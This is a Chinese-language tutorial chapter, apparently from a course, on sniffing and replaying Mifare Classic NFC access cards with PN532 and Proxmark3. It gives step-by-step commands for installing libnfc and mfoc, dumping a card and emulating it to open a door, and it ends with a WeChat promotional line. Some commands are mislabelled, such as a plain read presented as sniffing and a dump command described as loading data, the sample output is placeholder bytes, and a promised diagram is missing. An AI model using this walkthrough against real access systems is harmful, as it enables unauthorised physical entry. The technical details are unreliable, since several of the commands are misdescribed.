3. NFC数据嗅探与重放攻击:硬件准备与实战
各位同学,今天我们来聊一个非常硬核的话题——NFC数据嗅探与重放攻击。说实话,这个章节是我个人觉得整个课程里最有意思的部分之一。你想想看,你兜里的银行卡、门禁卡,甚至手机支付,都在用NFC技术。但你真的了解它有多安全吗?
嗯,咱们一步步来。先从硬件说起。
3.1 硬件准备:PN532 vs Proxmark3
做NFC攻击实验,你得先有趁手的工具。我个人最常用的两款设备是PN532和Proxmark3。它们俩定位不同,我分别说说。
| 设备 | 价格区间 | 主要用途 | 我的评价 |
|---|---|---|---|
| PN532 | 50-150元 | 基础嗅探、读写Mifare Classic卡 | 入门首选,性价比高 |
| Proxmark3 | 800-2000元 | 全协议分析、低频高频通吃、重放攻击 | 专业级,功能强大但学习曲线陡 |
PN532:这玩意儿便宜,USB供电就能用。我最早入门就是靠它。说白了,它适合做基础的数据嗅探和简单的卡片克隆。但有个坑——它只能工作在13.56MHz高频段,低频卡(比如125kHz的门禁)它就没办法了。
Proxmark3:这个就厉害了。我记得第一次拿到Proxmark3时,拆开包装一看,电路板上一堆跳线和按钮,说实话有点懵。但它能同时处理低频和高频,还能做现场信号分析。我在项目中遇到过好几次,用PN532搞不定的卡,换Proxmark3就轻松破解了。
我曾经买过一个山寨Proxmark3,固件版本太老,连libnfc都识别不了。所以建议各位:买设备时一定问清楚固件版本,最好买官方或靠谱第三方的最新版。
3.2 软件环境搭建:libnfc与mfoc
硬件到位了,接下来就是搭软件环境。我习惯在Linux下搞这些,Ubuntu 20.04或Kali Linux都行。Windows也能用,但驱动问题会让你想砸电脑。
3.2.1 安装libnfc
libnfc是NFC操作的底层库。说白了,它就是你和硬件之间的翻译官。安装很简单:
# 更新系统
sudo apt update && sudo apt upgrade -y
# 安装依赖
sudo apt install -y libusb-dev libpcsclite-dev
# 安装libnfc
sudo apt install -y libnfc-dev libnfc-bin
# 验证安装
nfc-list -v
如果看到设备信息,说明安装成功。我遇到过最坑的情况是——插上PN532后,系统没反应。后来发现是没装udev规则。解决办法:
# 添加udev规则
echo 'SUBSYSTEM=="usb", ATTRS{idVendor}=="04cc", ATTRS{idProduct}=="0531", MODE="0666"' | sudo tee /etc/udev/rules.d/99-nfc.rules
# 重载规则
sudo udevadm control --reload-rules
sudo udevadm trigger
3.2.2 安装mfoc
mfoc是专门用来破解Mifare Classic卡的。它利用了卡片的一个经典漏洞——嵌套认证。嗯,这里要注意:这个工具只能破解老款Mifare Classic卡,新款Mifare Plus或DESFire就别想了。
# 从源码编译mfoc
git clone https://github.com/nfc-tools/mfoc.git
cd mfoc
autoreconf -is
./configure
make
sudo make install
编译时我踩过一个坑——缺少libnfc的头文件。如果你遇到类似问题,试试:
export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig
3.3 嗅探交易数据:实战操作
环境搭好了,咱们来真的。我会用PN532演示一次简单的数据嗅探。目标:抓取一张Mifare Classic门禁卡在刷卡时的通信数据。
3.3.1 启动嗅探模式
首先,把PN532切换到嗅探模式。我个人习惯用nfc-list先确认设备在线:
nfc-list
输出类似:
NFC device: PN532 / PN533 opened
然后,用nfc-mfclassic工具开始嗅探:
nfc-mfclassic r a dump.mfd
这里的参数解释一下:
r:读取模式a:使用A密钥(默认)dump.mfd:输出文件名
把卡片靠近读卡器,你会看到类似这样的输出:
Found MIFARE Classic card
Sector 00: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
Sector 01: 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F
...
这就是卡片的原始数据。每个扇区16字节,前12字节是数据,后4字节是密钥和权限位。
嗅探时尽量保持卡片静止。我试过一边走路一边刷卡,结果数据全是乱码。嗯,这就像拍照时手抖一样,稳一点才能出好片。
3.4 重放攻击实验:从嗅探到复现
数据抓到了,接下来就是重放攻击。说白了,就是把刚才抓到的数据原封不动地再发一遍,看系统认不认。
3.4.1 准备重放数据
刚才的dump.mfd文件里存的就是卡片的完整数据。但重放攻击不需要全部数据,只需要关键部分——比如UID和认证数据。我一般用hexdump查看:
hexdump -C dump.mfd | head -20
3.4.2 执行重放
用Proxmark3做重放比较方便。先加载数据:
hf mf dump 1 dump.mfd
然后模拟卡片:
hf mf sim 1 dump.mfd
这时候,把Proxmark3靠近读卡器,它就会像原卡片一样响应。如果系统没有做防重放保护,门就会开。
重放攻击能成功,说明系统没有使用「挑战-响应」机制。真正的安全系统会在每次通信中加入随机数,让重放的数据失效。这也是为什么现代银行卡都用动态CVV。
3.5 知识体系总览
为了让你更直观地理解整个流程,我画了一张图:
3.6 避坑总结
最后,我把自己踩过的坑总结一下,你遇到类似问题可以少走弯路:
- 设备识别问题:插上PN532后nfc-list没反应?先检查udev规则,再检查USB线。我有一根线只能充电不能传数据,折腾了我一下午。
- mfoc编译失败:多半是缺少依赖。建议用apt安装libnfc-dev,别自己从源码编译libnfc,版本兼容性问题太多。
- 嗅探数据不完整:卡片移动太快或距离太远。保持卡片静止,距离控制在2-3厘米内。
- 重放失败:检查目标卡是否支持模拟。有些读卡器会检测卡片UID是否合法,克隆卡会被直接拒绝。
这些技术本身是中性的。我教你是为了让你理解攻击原理,从而更好地做防护。千万别拿去干坏事——嗯,你懂的。
公众号:蓝海资料掘金营,微信deep3321